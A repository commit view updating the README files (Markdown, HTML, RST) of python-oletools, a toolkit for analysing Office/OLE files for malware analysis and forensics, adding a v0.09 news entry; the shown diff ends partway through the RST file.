Peter M. Groen / oletools

Commit dc628fab47dd34c871abe1babf37921135008c8e

Authored by Philippe Lagadec
1 parent d1f62d20

updated readme and doc

Inline Side-by-side
Showing 17 changed files with 1522 additions and 1204 deletions
README.md
  View file @dc628fa
@@ -22,7 +22,9 @@ Note: python-oletools is not related to OLETools published by BeCubed Software. @@ -22,7 +22,9 @@ Note: python-oletools is not related to OLETools published by BeCubed Software.
22 News 22 News
23 ---- 23 ----
24 24
25 -- **2015-02-08 v0.08**: [olevba](https://bitbucket.org/decalage/oletools/wiki/olevba) can now decode strings 25 +- **2015-03-23 v0.09**: [olevba](https://bitbucket.org/decalage/oletools/wiki/olevba) now supports Word 2003 XML files,
  26 +added anti-sandboxing/VM detection
  27 +- 2015-02-08 v0.08: [olevba](https://bitbucket.org/decalage/oletools/wiki/olevba) can now decode strings
26 obfuscated with Hex/StrReverse/Base64/Dridex and extract IOCs. Added new triage mode, support for non-western 28 obfuscated with Hex/StrReverse/Base64/Dridex and extract IOCs. Added new triage mode, support for non-western
27 codepages with olefile 0.42, improved API and display, several bugfixes. 29 codepages with olefile 0.42, improved API and display, several bugfixes.
28 - 2015-01-05 v0.07: improved [olevba](https://bitbucket.org/decalage/oletools/wiki/olevba) to detect suspicious 30 - 2015-01-05 v0.07: improved [olevba](https://bitbucket.org/decalage/oletools/wiki/olevba) to detect suspicious
oletools/README.html
  View file @dc628fa
1 -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
2 -<html xmlns="http://www.w3.org/1999/xhtml">  
3 -<head>  
4 - <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
5 - <meta http-equiv="Content-Style-Type" content="text/css" />  
6 - <meta name="generator" content="pandoc" />  
7 - <title></title>  
8 -</head>  
9 -<body>  
10 -<h1 id="python-oletools">python-oletools</h1>  
11 -<p><a href="http://www.decalage.info/python/oletools">python-oletools</a> is a package of python tools to analyze <a href="http://en.wikipedia.org/wiki/Compound_File_Binary_Format">Microsoft OLE2 files</a> (also called Structured Storage, Compound File Binary Format or Compound Document File Format), such as Microsoft Office documents or Outlook messages, mainly for malware analysis, forensics and debugging. It is based on the <a href="http://www.decalage.info/olefile">olefile</a> parser. See <a href="http://www.decalage.info/python/oletools">http://www.decalage.info/python/oletools</a> for more info.</p>  
12 -<p><strong>Quick links:</strong> <a href="http://www.decalage.info/python/oletools">Home page</a> - <a href="https://bitbucket.org/decalage/oletools/wiki/Install">Download/Install</a> - <a href="https://bitbucket.org/decalage/oletools/wiki">Documentation</a> - <a href="https://bitbucket.org/decalage/oletools/issues?status=new&amp;status=open">Report Issues/Suggestions/Questions</a> - <a href="http://decalage.info/contact">Contact the Author</a> - <a href="https://bitbucket.org/decalage/oletools">Repository</a> - <a href="https://twitter.com/decalage2">Updates on Twitter</a></p>  
13 -<p>Note: python-oletools is not related to OLETools published by BeCubed Software.</p>  
14 -<h2 id="news">News</h2>  
15 -<ul>  
16 -<li><strong>2015-02-08 v0.08</strong>: <a href="https://bitbucket.org/decalage/oletools/wiki/olevba">olevba</a> can now decode strings obfuscated with Hex/StrReverse/Base64/Dridex and extract IOCs. Added new triage mode, support for non-western codepages with olefile 0.42, improved API and display, several bugfixes.</li>  
17 -<li>2015-01-05 v0.07: improved <a href="https://bitbucket.org/decalage/oletools/wiki/olevba">olevba</a> to detect suspicious keywords and IOCs in VBA macros, can now scan several files and open password-protected zip archives, added a Python API, upgraded OleFileIO_PL to olefile v0.41</li>  
18 -<li>2014-08-28 v0.06: added <a href="https://bitbucket.org/decalage/oletools/wiki/olevba">olevba</a>, a new tool to extract VBA Macro source code from MS Office documents (97-2003 and 2007+). Improved <a href="https://bitbucket.org/decalage/oletools/wiki">documentation</a></li>  
19 -<li>2013-07-24 v0.05: added new tools <a href="https://bitbucket.org/decalage/oletools/wiki/olemeta">olemeta</a> and <a href="https://bitbucket.org/decalage/oletools/wiki/oletimes">oletimes</a></li>  
20 -<li>2013-04-18 v0.04: fixed bug in rtfobj, added documentation for <a href="https://bitbucket.org/decalage/oletools/wiki/rtfobj">rtfobj</a></li>  
21 -<li>2012-11-09 v0.03: Improved <a href="https://bitbucket.org/decalage/oletools/wiki/pyxswf">pyxswf</a> to extract Flash objects from RTF</li>  
22 -<li>2012-10-29 v0.02: Added <a href="https://bitbucket.org/decalage/oletools/wiki/oleid">oleid</a></li>  
23 -<li>2012-10-09 v0.01: Initial version of <a href="https://bitbucket.org/decalage/oletools/wiki/olebrowse">olebrowse</a> and pyxswf</li>  
24 -<li>see changelog in source code for more info.</li>  
25 -</ul>  
26 -<h2 id="tools-in-python-oletools">Tools in python-oletools:</h2>  
27 -<ul>  
28 -<li><a href="https://bitbucket.org/decalage/oletools/wiki/olebrowse">olebrowse</a>: A simple GUI to browse OLE files (e.g. MS Word, Excel, Powerpoint documents), to view and extract individual data streams.</li>  
29 -<li><a href="https://bitbucket.org/decalage/oletools/wiki/oleid">oleid</a>: a tool to analyze OLE files to detect specific characteristics usually found in malicious files.</li>  
30 -<li><a href="https://bitbucket.org/decalage/oletools/wiki/olemeta">olemeta</a>: a tool to extract all standard properties (metadata) from OLE files.</li>  
31 -<li><a href="https://bitbucket.org/decalage/oletools/wiki/oletimes">oletimes</a>: a tool to extract creation and modification timestamps of all streams and storages.</li>  
32 -<li><a href="https://bitbucket.org/decalage/oletools/wiki/olevba">olevba</a>: a tool to extract and analyze VBA Macro source code from MS Office documents (OLE and OpenXML).</li>  
33 -<li><a href="https://bitbucket.org/decalage/oletools/wiki/pyxswf">pyxswf</a>: a tool to detect, extract and analyze Flash objects (SWF) that may be embedded in files such as MS Office documents (e.g. Word, Excel) and RTF, which is especially useful for malware analysis.</li>  
34 -<li><a href="https://bitbucket.org/decalage/oletools/wiki/rtfobj">rtfobj</a>: a tool and python module to extract embedded objects from RTF files.</li>  
35 -<li>and a few others (coming soon)</li>  
36 -</ul>  
37 -<h2 id="download-and-install">Download and Install:</h2>  
38 -<p>To use python-oletools from the command line as analysis tools, you may simply <a href="https://bitbucket.org/decalage/oletools/downloads">download the zip archive</a> and extract the files in the directory of your choice.</p>  
39 -<p>To get the latest development version, click on &quot;Download repository&quot; on the <a href="https://bitbucket.org/decalage/oletools/downloads">downloads page</a>, or use mercurial to clone the repository.</p>  
40 -<p>If you plan to use python-oletools with other Python applications or your own scripts, then the simplest solution is to use &quot;<strong>pip install oletools</strong>&quot; or &quot;<strong>easy_install oletools</strong>&quot; to download and install in one go. Otherwise you may download/extract the zip archive and run &quot;<strong>setup.py install</strong>&quot;.</p>  
41 -<h2 id="documentation">Documentation:</h2>  
42 -<p>The latest version of the documentation can be found <a href="https://bitbucket.org/decalage/oletools/wiki">online</a>, otherwise a copy is provided in the doc subfolder of the package.</p>  
43 -<h2 id="how-to-suggest-improvements-report-issues-or-contribute">How to Suggest Improvements, Report Issues or Contribute:</h2>  
44 -<p>This is a personal open-source project, developed on my spare time. Any contribution, suggestion, feedback or bug report is welcome.</p>  
45 -<p>To suggest improvements, report a bug or any issue, please use the <a href="https://bitbucket.org/decalage/olefileio_pl/issues?status=new&amp;status=open">issue reporting page</a>, providing all the information and files to reproduce the problem.</p>  
46 -<p>You may also <a href="http://decalage.info/contact">contact the author</a> directly to provide feedback.</p>  
47 -<p>The code is available in <a href="https://bitbucket.org/decalage/oletools">a Mercurial repository on Bitbucket</a>. You may use it to submit enhancements using forks and pull requests.</p>  
48 -<h2 id="license">License</h2>  
49 -<p>This license applies to the python-oletools package, apart from the thirdparty folder which contains third-party files published with their own license.</p>  
50 -<p>The python-oletools package is copyright (c) 2012-2015 Philippe Lagadec (http://www.decalage.info)</p>  
51 -<p>All rights reserved.</p>  
52 -<p>Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:</p>  
53 -<ul>  
54 -<li>Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.</li>  
55 -<li>Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.</li>  
56 -</ul>  
57 -<p>THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS &quot;AS IS&quot; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.</p>  
58 -<hr />  
59 -<p>olevba contains modified source code from the officeparser project, published under the following MIT License (MIT):</p>  
60 -<p>officeparser is copyright (c) 2014 John William Davison</p>  
61 -<p>Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the &quot;Software&quot;), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:</p>  
62 -<p>The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.</p>  
63 -<p>THE SOFTWARE IS PROVIDED &quot;AS IS&quot;, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.</p>  
64 -</body>  
65 -</html> 1 +<h1 id="python-oletools">python-oletools</h1>
  2 +<p><a href="http://www.decalage.info/python/oletools">python-oletools</a> is a package of python tools to analyze <a href="http://en.wikipedia.org/wiki/Compound_File_Binary_Format">Microsoft OLE2 files</a> (also called Structured Storage, Compound File Binary Format or Compound Document File Format), such as Microsoft Office documents or Outlook messages, mainly for malware analysis, forensics and debugging. It is based on the <a href="http://www.decalage.info/olefile">olefile</a> parser. See <a href="http://www.decalage.info/python/oletools">http://www.decalage.info/python/oletools</a> for more info.</p>
  3 +<p><strong>Quick links:</strong> <a href="http://www.decalage.info/python/oletools">Home page</a> - <a href="https://bitbucket.org/decalage/oletools/wiki/Install">Download/Install</a> - <a href="https://bitbucket.org/decalage/oletools/wiki">Documentation</a> - <a href="https://bitbucket.org/decalage/oletools/issues?status=new&amp;status=open">Report Issues/Suggestions/Questions</a> - <a href="http://decalage.info/contact">Contact the Author</a> - <a href="https://bitbucket.org/decalage/oletools">Repository</a> - <a href="https://twitter.com/decalage2">Updates on Twitter</a></p>
  4 +<p>Note: python-oletools is not related to OLETools published by BeCubed Software.</p>
  5 +<h2 id="news">News</h2>
  6 +<ul>
  7 +<li><strong>2015-03-23 v0.09</strong>: <a href="https://bitbucket.org/decalage/oletools/wiki/olevba">olevba</a> now supports Word 2003 XML files, added anti-sandboxing/VM detection</li>
  8 +<li>2015-02-08 v0.08: <a href="https://bitbucket.org/decalage/oletools/wiki/olevba">olevba</a> can now decode strings obfuscated with Hex/StrReverse/Base64/Dridex and extract IOCs. Added new triage mode, support for non-western codepages with olefile 0.42, improved API and display, several bugfixes.</li>
  9 +<li>2015-01-05 v0.07: improved <a href="https://bitbucket.org/decalage/oletools/wiki/olevba">olevba</a> to detect suspicious keywords and IOCs in VBA macros, can now scan several files and open password-protected zip archives, added a Python API, upgraded OleFileIO_PL to olefile v0.41</li>
  10 +<li>2014-08-28 v0.06: added <a href="https://bitbucket.org/decalage/oletools/wiki/olevba">olevba</a>, a new tool to extract VBA Macro source code from MS Office documents (97-2003 and 2007+). Improved <a href="https://bitbucket.org/decalage/oletools/wiki">documentation</a></li>
  11 +<li>2013-07-24 v0.05: added new tools <a href="https://bitbucket.org/decalage/oletools/wiki/olemeta">olemeta</a> and <a href="https://bitbucket.org/decalage/oletools/wiki/oletimes">oletimes</a></li>
  12 +<li>2013-04-18 v0.04: fixed bug in rtfobj, added documentation for <a href="https://bitbucket.org/decalage/oletools/wiki/rtfobj">rtfobj</a></li>
  13 +<li>2012-11-09 v0.03: Improved <a href="https://bitbucket.org/decalage/oletools/wiki/pyxswf">pyxswf</a> to extract Flash objects from RTF</li>
  14 +<li>2012-10-29 v0.02: Added <a href="https://bitbucket.org/decalage/oletools/wiki/oleid">oleid</a></li>
  15 +<li>2012-10-09 v0.01: Initial version of <a href="https://bitbucket.org/decalage/oletools/wiki/olebrowse">olebrowse</a> and pyxswf</li>
  16 +<li>see changelog in source code for more info.</li>
  17 +</ul>
  18 +<h2 id="tools-in-python-oletools">Tools in python-oletools:</h2>
  19 +<ul>
  20 +<li><a href="https://bitbucket.org/decalage/oletools/wiki/olebrowse">olebrowse</a>: A simple GUI to browse OLE files (e.g. MS Word, Excel, Powerpoint documents), to view and extract individual data streams.</li>
  21 +<li><a href="https://bitbucket.org/decalage/oletools/wiki/oleid">oleid</a>: a tool to analyze OLE files to detect specific characteristics usually found in malicious files.</li>
  22 +<li><a href="https://bitbucket.org/decalage/oletools/wiki/olemeta">olemeta</a>: a tool to extract all standard properties (metadata) from OLE files.</li>
  23 +<li><a href="https://bitbucket.org/decalage/oletools/wiki/oletimes">oletimes</a>: a tool to extract creation and modification timestamps of all streams and storages.</li>
  24 +<li><a href="https://bitbucket.org/decalage/oletools/wiki/olevba">olevba</a>: a tool to extract and analyze VBA Macro source code from MS Office documents (OLE and OpenXML).</li>
  25 +<li><a href="https://bitbucket.org/decalage/oletools/wiki/pyxswf">pyxswf</a>: a tool to detect, extract and analyze Flash objects (SWF) that may be embedded in files such as MS Office documents (e.g. Word, Excel) and RTF, which is especially useful for malware analysis.</li>
  26 +<li><a href="https://bitbucket.org/decalage/oletools/wiki/rtfobj">rtfobj</a>: a tool and python module to extract embedded objects from RTF files.</li>
  27 +<li>and a few others (coming soon)</li>
  28 +</ul>
  29 +<h2 id="download-and-install">Download and Install:</h2>
  30 +<p>To use python-oletools from the command line as analysis tools, you may simply <a href="https://bitbucket.org/decalage/oletools/downloads">download the zip archive</a> and extract the files in the directory of your choice.</p>
  31 +<p>To get the latest development version, click on &quot;Download repository&quot; on the <a href="https://bitbucket.org/decalage/oletools/downloads">downloads page</a>, or use mercurial to clone the repository.</p>
  32 +<p>If you plan to use python-oletools with other Python applications or your own scripts, then the simplest solution is to use &quot;<strong>pip install oletools</strong>&quot; or &quot;<strong>easy_install oletools</strong>&quot; to download and install in one go. Otherwise you may download/extract the zip archive and run &quot;<strong>setup.py install</strong>&quot;.</p>
  33 +<h2 id="documentation">Documentation:</h2>
  34 +<p>The latest version of the documentation can be found <a href="https://bitbucket.org/decalage/oletools/wiki">online</a>, otherwise a copy is provided in the doc subfolder of the package.</p>
  35 +<h2 id="how-to-suggest-improvements-report-issues-or-contribute">How to Suggest Improvements, Report Issues or Contribute:</h2>
  36 +<p>This is a personal open-source project, developed on my spare time. Any contribution, suggestion, feedback or bug report is welcome.</p>
  37 +<p>To suggest improvements, report a bug or any issue, please use the <a href="https://bitbucket.org/decalage/olefileio_pl/issues?status=new&amp;status=open">issue reporting page</a>, providing all the information and files to reproduce the problem.</p>
  38 +<p>You may also <a href="http://decalage.info/contact">contact the author</a> directly to provide feedback.</p>
  39 +<p>The code is available in <a href="https://bitbucket.org/decalage/oletools">a Mercurial repository on Bitbucket</a>. You may use it to submit enhancements using forks and pull requests.</p>
  40 +<h2 id="license">License</h2>
  41 +<p>This license applies to the python-oletools package, apart from the thirdparty folder which contains third-party files published with their own license.</p>
  42 +<p>The python-oletools package is copyright (c) 2012-2015 Philippe Lagadec (http://www.decalage.info)</p>
  43 +<p>All rights reserved.</p>
  44 +<p>Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:</p>
  45 +<ul>
  46 +<li>Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.</li>
  47 +<li>Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.</li>
  48 +</ul>
  49 +<p>THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS &quot;AS IS&quot; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.</p>
  50 +<hr />
  51 +<p>olevba contains modified source code from the officeparser project, published under the following MIT License (MIT):</p>
  52 +<p>officeparser is copyright (c) 2014 John William Davison</p>
  53 +<p>Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the &quot;Software&quot;), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:</p>
  54 +<p>The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.</p>
  55 +<p>THE SOFTWARE IS PROVIDED &quot;AS IS&quot;, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.</p>
oletools/README.rst
  View file @dc628fa
1 -python-oletools  
2 -===============  
3 -  
4 -`python-oletools <http://www.decalage.info/python/oletools>`_ is a  
5 -package of python tools to analyze `Microsoft OLE2  
6 -files <http://en.wikipedia.org/wiki/Compound_File_Binary_Format>`_ (also  
7 -called Structured Storage, Compound File Binary Format or Compound  
8 -Document File Format), such as Microsoft Office documents or Outlook  
9 -messages, mainly for malware analysis, forensics and debugging. It is  
10 -based on the `olefile <http://www.decalage.info/olefile>`_ parser. See  
11 -`http://www.decalage.info/python/oletools <http://www.decalage.info/python/oletools>`_  
12 -for more info.  
13 -  
14 -**Quick links:** `Home page <http://www.decalage.info/python/oletools>`_  
15 --  
16 -`Download/Install <https://bitbucket.org/decalage/oletools/wiki/Install>`_  
17 -- `Documentation <https://bitbucket.org/decalage/oletools/wiki>`_ -  
18 -`Report  
19 -Issues/Suggestions/Questions <https://bitbucket.org/decalage/oletools/issues?status=new&status=open>`_  
20 -- `Contact the Author <http://decalage.info/contact>`_ -  
21 -`Repository <https://bitbucket.org/decalage/oletools>`_ - `Updates on  
22 -Twitter <https://twitter.com/decalage2>`_  
23 -  
24 -Note: python-oletools is not related to OLETools published by BeCubed  
25 -Software.  
26 -  
27 -News  
28 -----  
29 -  
30 -- **2015-02-08 v0.08**:  
31 - `olevba <https://bitbucket.org/decalage/oletools/wiki/olevba>`_ can  
32 - now decode strings obfuscated with Hex/StrReverse/Base64/Dridex and  
33 - extract IOCs. Added new triage mode, support for non-western  
34 - codepages with olefile 0.42, improved API and display, several  
35 - bugfixes.  
36 -- 2015-01-05 v0.07: improved  
37 - `olevba <https://bitbucket.org/decalage/oletools/wiki/olevba>`_ to  
38 - detect suspicious keywords and IOCs in VBA macros, can now scan  
39 - several files and open password-protected zip archives, added a  
40 - Python API, upgraded OleFileIO\_PL to olefile v0.41  
41 -- 2014-08-28 v0.06: added  
42 - `olevba <https://bitbucket.org/decalage/oletools/wiki/olevba>`_, a  
43 - new tool to extract VBA Macro source code from MS Office documents  
44 - (97-2003 and 2007+). Improved  
45 - `documentation <https://bitbucket.org/decalage/oletools/wiki>`_  
46 -- 2013-07-24 v0.05: added new tools  
47 - `olemeta <https://bitbucket.org/decalage/oletools/wiki/olemeta>`_ and  
48 - `oletimes <https://bitbucket.org/decalage/oletools/wiki/oletimes>`_  
49 -- 2013-04-18 v0.04: fixed bug in rtfobj, added documentation for  
50 - `rtfobj <https://bitbucket.org/decalage/oletools/wiki/rtfobj>`_  
51 -- 2012-11-09 v0.03: Improved  
52 - `pyxswf <https://bitbucket.org/decalage/oletools/wiki/pyxswf>`_ to  
53 - extract Flash objects from RTF  
54 -- 2012-10-29 v0.02: Added  
55 - `oleid <https://bitbucket.org/decalage/oletools/wiki/oleid>`_  
56 -- 2012-10-09 v0.01: Initial version of  
57 - `olebrowse <https://bitbucket.org/decalage/oletools/wiki/olebrowse>`_  
58 - and pyxswf  
59 -- see changelog in source code for more info.  
60 -  
61 -Tools in python-oletools:  
62 --------------------------  
63 -  
64 -- `olebrowse <https://bitbucket.org/decalage/oletools/wiki/olebrowse>`_:  
65 - A simple GUI to browse OLE files (e.g. MS Word, Excel, Powerpoint  
66 - documents), to view and extract individual data streams.  
67 -- `oleid <https://bitbucket.org/decalage/oletools/wiki/oleid>`_: a tool  
68 - to analyze OLE files to detect specific characteristics usually found  
69 - in malicious files.  
70 -- `olemeta <https://bitbucket.org/decalage/oletools/wiki/olemeta>`_: a  
71 - tool to extract all standard properties (metadata) from OLE files.  
72 -- `oletimes <https://bitbucket.org/decalage/oletools/wiki/oletimes>`_:  
73 - a tool to extract creation and modification timestamps of all streams  
74 - and storages.  
75 -- `olevba <https://bitbucket.org/decalage/oletools/wiki/olevba>`_: a  
76 - tool to extract and analyze VBA Macro source code from MS Office  
77 - documents (OLE and OpenXML).  
78 -- `pyxswf <https://bitbucket.org/decalage/oletools/wiki/pyxswf>`_: a  
79 - tool to detect, extract and analyze Flash objects (SWF) that may be  
80 - embedded in files such as MS Office documents (e.g. Word, Excel) and  
81 - RTF, which is especially useful for malware analysis.  
82 -- `rtfobj <https://bitbucket.org/decalage/oletools/wiki/rtfobj>`_: a  
83 - tool and python module to extract embedded objects from RTF files.  
84 -- and a few others (coming soon)  
85 -  
86 -Download and Install:  
87 ----------------------  
88 -  
89 -To use python-oletools from the command line as analysis tools, you may  
90 -simply `download the zip  
91 -archive <https://bitbucket.org/decalage/oletools/downloads>`_ and  
92 -extract the files in the directory of your choice.  
93 -  
94 -To get the latest development version, click on "Download repository" on  
95 -the `downloads  
96 -page <https://bitbucket.org/decalage/oletools/downloads>`_, or use  
97 -mercurial to clone the repository.  
98 -  
99 -If you plan to use python-oletools with other Python applications or  
100 -your own scripts, then the simplest solution is to use "**pip install  
101 -oletools**\ " or "**easy\_install oletools**\ " to download and install  
102 -in one go. Otherwise you may download/extract the zip archive and run  
103 -"**setup.py install**\ ".  
104 -  
105 -Documentation:  
106 ---------------  
107 -  
108 -The latest version of the documentation can be found  
109 -`online <https://bitbucket.org/decalage/oletools/wiki>`_, otherwise a  
110 -copy is provided in the doc subfolder of the package.  
111 -  
112 -How to Suggest Improvements, Report Issues or Contribute:  
113 ----------------------------------------------------------  
114 -  
115 -This is a personal open-source project, developed on my spare time. Any  
116 -contribution, suggestion, feedback or bug report is welcome.  
117 -  
118 -To suggest improvements, report a bug or any issue, please use the  
119 -`issue reporting  
120 -page <https://bitbucket.org/decalage/olefileio_pl/issues?status=new&status=open>`_,  
121 -providing all the information and files to reproduce the problem.  
122 -  
123 -You may also `contact the author <http://decalage.info/contact>`_  
124 -directly to provide feedback.  
125 -  
126 -The code is available in `a Mercurial repository on  
127 -Bitbucket <https://bitbucket.org/decalage/oletools>`_. You may use it to  
128 -submit enhancements using forks and pull requests.  
129 -  
130 -License  
131 --------  
132 -  
133 -This license applies to the python-oletools package, apart from the  
134 -thirdparty folder which contains third-party files published with their  
135 -own license.  
136 -  
137 -The python-oletools package is copyright (c) 2012-2015 Philippe Lagadec  
138 -(http://www.decalage.info)  
139 -  
140 -All rights reserved.  
141 -  
142 -Redistribution and use in source and binary forms, with or without  
143 -modification, are permitted provided that the following conditions are  
144 -met:  
145 -  
146 -- Redistributions of source code must retain the above copyright  
147 - notice, this list of conditions and the following disclaimer.  
148 -- Redistributions in binary form must reproduce the above copyright  
149 - notice, this list of conditions and the following disclaimer in the  
150 - documentation and/or other materials provided with the distribution.  
151 -  
152 -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS  
153 -IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED  
154 -TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A  
155 -PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT  
156 -HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,  
157 -SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED  
158 -TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR  
159 -PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF  
160 -LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING  
161 -NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS  
162 -SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  
163 -  
164 ---------------  
165 -  
166 -olevba contains modified source code from the officeparser project,  
167 -published under the following MIT License (MIT):  
168 -  
169 -officeparser is copyright (c) 2014 John William Davison  
170 -  
171 -Permission is hereby granted, free of charge, to any person obtaining a  
172 -copy of this software and associated documentation files (the  
173 -"Software"), to deal in the Software without restriction, including  
174 -without limitation the rights to use, copy, modify, merge, publish,  
175 -distribute, sublicense, and/or sell copies of the Software, and to  
176 -permit persons to whom the Software is furnished to do so, subject to  
177 -the following conditions:  
178 -  
179 -The above copyright notice and this permission notice shall be included  
180 -in all copies or substantial portions of the Software.  
181 -  
182 -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS  
183 -OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF  
184 -MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  
185 -IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY  
186 -CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,  
187 -TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE  
188 -SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 1 +python-oletools
  2 +===============
  3 +
  4 +`python-oletools <http://www.decalage.info/python/oletools>`__ is a
  5 +package of python tools to analyze `Microsoft OLE2
  6 +files <http://en.wikipedia.org/wiki/Compound_File_Binary_Format>`__
  7 +(also called Structured Storage, Compound File Binary Format or Compound
  8 +Document File Format), such as Microsoft Office documents or Outlook
  9 +messages, mainly for malware analysis, forensics and debugging. It is
  10 +based on the `olefile <http://www.decalage.info/olefile>`__ parser. See
  11 +http://www.decalage.info/python/oletools for more info.
  12 +
  13 +**Quick links:** `Home
  14 +page <http://www.decalage.info/python/oletools>`__ -
  15 +`Download/Install <https://bitbucket.org/decalage/oletools/wiki/Install>`__
  16 +- `Documentation <https://bitbucket.org/decalage/oletools/wiki>`__ -
  17 +`Report
  18 +Issues/Suggestions/Questions <https://bitbucket.org/decalage/oletools/issues?status=new&status=open>`__
  19 +- `Contact the Author <http://decalage.info/contact>`__ -
  20 +`Repository <https://bitbucket.org/decalage/oletools>`__ - `Updates on
  21 +Twitter <https://twitter.com/decalage2>`__
  22 +
  23 +Note: python-oletools is not related to OLETools published by BeCubed
  24 +Software.
  25 +
  26 +News
  27 +----
  28 +
  29 +- **2015-03-23 v0.09**:
  30 + `olevba <https://bitbucket.org/decalage/oletools/wiki/olevba>`__ now
  31 + supports Word 2003 XML files, added anti-sandboxing/VM detection
  32 +- 2015-02-08 v0.08:
  33 + `olevba <https://bitbucket.org/decalage/oletools/wiki/olevba>`__ can
  34 + now decode strings obfuscated with Hex/StrReverse/Base64/Dridex and
  35 + extract IOCs. Added new triage mode, support for non-western
  36 + codepages with olefile 0.42, improved API and display, several
  37 + bugfixes.
  38 +- 2015-01-05 v0.07: improved
  39 + `olevba <https://bitbucket.org/decalage/oletools/wiki/olevba>`__ to
